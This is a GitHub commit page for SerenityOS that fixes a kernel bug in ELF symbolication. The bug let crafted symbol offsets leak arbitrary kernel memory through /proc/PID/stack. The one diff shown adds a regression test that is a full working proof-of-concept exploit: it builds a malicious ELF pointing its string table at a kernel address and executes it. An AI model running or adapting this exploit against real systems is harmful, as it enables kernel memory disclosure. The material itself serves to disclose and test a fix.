forked from SerenityOS/serenity
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Kernel+LibELF: Don't blindly trust ELF symbol offsets in symbolication
It was possible to craft a custom ELF executable that when symbolicated would cause the kernel to read from user-controlled addresses anywhere in memory. You could then fetch this memory via /proc/PID/stack We fix this by making ELFImage hand out StringView rather than raw const char* for symbol names. In case a symbol offset is outside the ELF image, you get a null StringView. :^) Test: Kernel/elf-symbolication-kernel-read-exploit.cpp
- Loading branch information
1 parent
60143c8
commit c6e552a
Showing
9 changed files
with
140 additions
and
24 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,106 @@ | ||
#include <LibELF/exec_elf.h> | ||
#include <fcntl.h> | ||
#include <stdio.h> | ||
#include <string.h> | ||
#include <unistd.h> | ||
|
||
asm("haxcode:\n" | ||
"1: jmp 1b\n" | ||
"haxcode_end:\n"); | ||
|
||
extern "C" void haxcode(); | ||
extern "C" void haxcode_end(); | ||
|
||
int main() | ||
{ | ||
char buffer[16384]; | ||
|
||
auto& header = *(Elf32_Ehdr*)buffer; | ||
header.e_ident[EI_MAG0] = ELFMAG0; | ||
header.e_ident[EI_MAG1] = ELFMAG1; | ||
header.e_ident[EI_MAG2] = ELFMAG2; | ||
header.e_ident[EI_MAG3] = ELFMAG3; | ||
header.e_ident[EI_CLASS] = ELFCLASS32; | ||
header.e_ident[EI_DATA] = ELFDATA2LSB; | ||
header.e_ident[EI_VERSION] = EV_CURRENT; | ||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV; | ||
header.e_ident[EI_ABIVERSION] = 0; | ||
header.e_type = ET_EXEC; | ||
header.e_version = EV_CURRENT; | ||
header.e_ehsize = sizeof(Elf32_Ehdr); | ||
header.e_machine = EM_386; | ||
header.e_shentsize = sizeof(Elf32_Shdr); | ||
|
||
header.e_phnum = 1; | ||
header.e_phoff = 52; | ||
header.e_phentsize = sizeof(Elf32_Phdr); | ||
|
||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]); | ||
ph[0].p_vaddr = 0x20000000; | ||
ph[0].p_type = PT_LOAD; | ||
ph[0].p_filesz = sizeof(buffer); | ||
ph[0].p_memsz = sizeof(buffer); | ||
ph[0].p_flags = PF_R | PF_X; | ||
ph[0].p_align = PAGE_SIZE; | ||
|
||
header.e_shnum = 3; | ||
header.e_shoff = 1024; | ||
|
||
u32 secret_address = 0x00184658; | ||
|
||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]); | ||
sh[0].sh_type = SHT_SYMTAB; | ||
sh[0].sh_offset = 2048; | ||
sh[0].sh_entsize = sizeof(Elf32_Sym); | ||
sh[0].sh_size = 2 * sizeof(Elf32_Sym); | ||
|
||
sh[1].sh_type = SHT_STRTAB; | ||
sh[1].sh_offset = secret_address - 0x01001000; | ||
sh[1].sh_entsize = 0; | ||
sh[1].sh_size = 1024; | ||
|
||
sh[2].sh_type = SHT_STRTAB; | ||
sh[2].sh_offset = 4096; | ||
sh[2].sh_entsize = 0; | ||
sh[2].sh_size = 1024; | ||
header.e_shstrndx = 2; | ||
|
||
auto* sym = (Elf32_Sym*)(&buffer[2048]); | ||
sym[0].st_value = 0x20002000; | ||
sym[0].st_name = 0; | ||
|
||
sym[1].st_value = 0x30000000; | ||
sym[1].st_name = 0; | ||
|
||
auto* strtab = (char*)&buffer[3072]; | ||
strcpy(strtab, "sneaky!"); | ||
|
||
auto* shstrtab = (char*)&buffer[4096]; | ||
strcpy(shstrtab, ".strtab"); | ||
|
||
auto* code = &buffer[8192]; | ||
size_t haxcode_size = (u32)haxcode_end - (u32)haxcode; | ||
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size); | ||
memcpy(code, (void*)haxcode, haxcode_size); | ||
|
||
header.e_entry = 0x20000000 + 8192; | ||
|
||
int fd = open("x", O_RDWR | O_CREAT, 0777); | ||
if (fd < 0) { | ||
perror("open"); | ||
return 1; | ||
} | ||
|
||
int nwritten = write(fd, buffer, sizeof(buffer)); | ||
if (nwritten < 0) { | ||
perror("write"); | ||
return 1; | ||
} | ||
|
||
if (execl("/home/anon/x", "x", nullptr) < 0) { | ||
perror("execl"); | ||
return 1; | ||
} | ||
|
||
return 0; | ||
} |